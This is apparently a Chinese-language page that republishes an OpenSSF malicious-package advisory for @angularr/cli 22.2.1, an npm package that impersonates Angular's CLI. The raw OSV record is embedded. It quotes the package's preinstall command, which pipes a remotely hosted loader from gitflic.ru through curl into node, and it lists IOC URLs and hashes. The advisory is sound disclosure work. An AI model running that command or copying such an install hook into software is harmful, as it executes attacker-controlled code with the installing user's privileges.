目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

@angularr/cli

MAL-2026-17492
2026-10-05 22:52:51
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in @angularr/cli (npm)

安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
—
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npm@angularr/cli22.2.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-17492","published":"2026-10-03T06:33:58Z","modified":"2026-10-05T22:52:51.052995569Z","summary":"Malicious code in @angularr/cli (npm)","details":"@angularr/cli@22.2.1 impersonates @angular/cli (it copies the code and metadata of @angular/cli, including the `ng` binary) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/cli and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8)\nPackage is published as @angularr/cli (double 'r') and copies @angular/cli's description, keywords, homepage, repository URL, README, and version string (22.2.1) to impersonate Angular's official CLI. package.json declares a preinstall lifecycle hook that pipes a remote JavaScript file into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. The fetched script is hosted on gitflic.ru (user 'hellscripter', unrelated to Angular's publisher), proxied through web.archive.org, is unpinned, has no integrity check, and is executed directly by the installer's node process. Any `npm install @angularr/cli` performs arbitrary code execution on the installer's host under the account running npm. src/analytics/analytics-collector.js additionally issues outbound ping/POST traffic via https.request carrying host identifiers.\n","affected":[{"package":{"name":"@angularr/cli","ecosystem":"npm"},"versions":["22.2.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"eb95ee065027d871536fb430be906c3856e640190f36dab01b93d64a1af758e5","tlsh":"0f313576dae01d6316d9128598360903b43c962f0e06fa78f799540c4f8f69f2277aae"}],"package_integrity":[{"filename":"cli-22.2.1.tgz","hashes":{"sha1":"94202cdd816372a4adc8fcc2ddd9927dcff0419e","sha512_sri":"sha512-aJaBpCe9lyh6F8tsoVtJoKH6/D18aL6tGzQ/OMROYu6NTtcDA+u/WNxoFVyONE3Tt3uXjf9cTcG/l+iGvLx9Ig=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@angularr/cli/v/22.2.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@angularr/cli"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"eb95ee065027d871536fb430be906c3856e640190f36dab01b93d64a1af758e5"},"note":"preinstall script pipes the web.archive.org copy of gitflic.ru hellscripter/install-scripts node.js into node (@angularr/cli@22.2.1).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"}],"urls":["https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js","https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js"]},"malicious-packages-origins":[{"id":"IN-MAL-2026-020906","import_time":"2026-10-04T23:40:40.629757118Z","modified_time":"2026-10-04T23:17:38Z","sha256":"122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8","source":"amazon-inspector","versions":["22.2.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0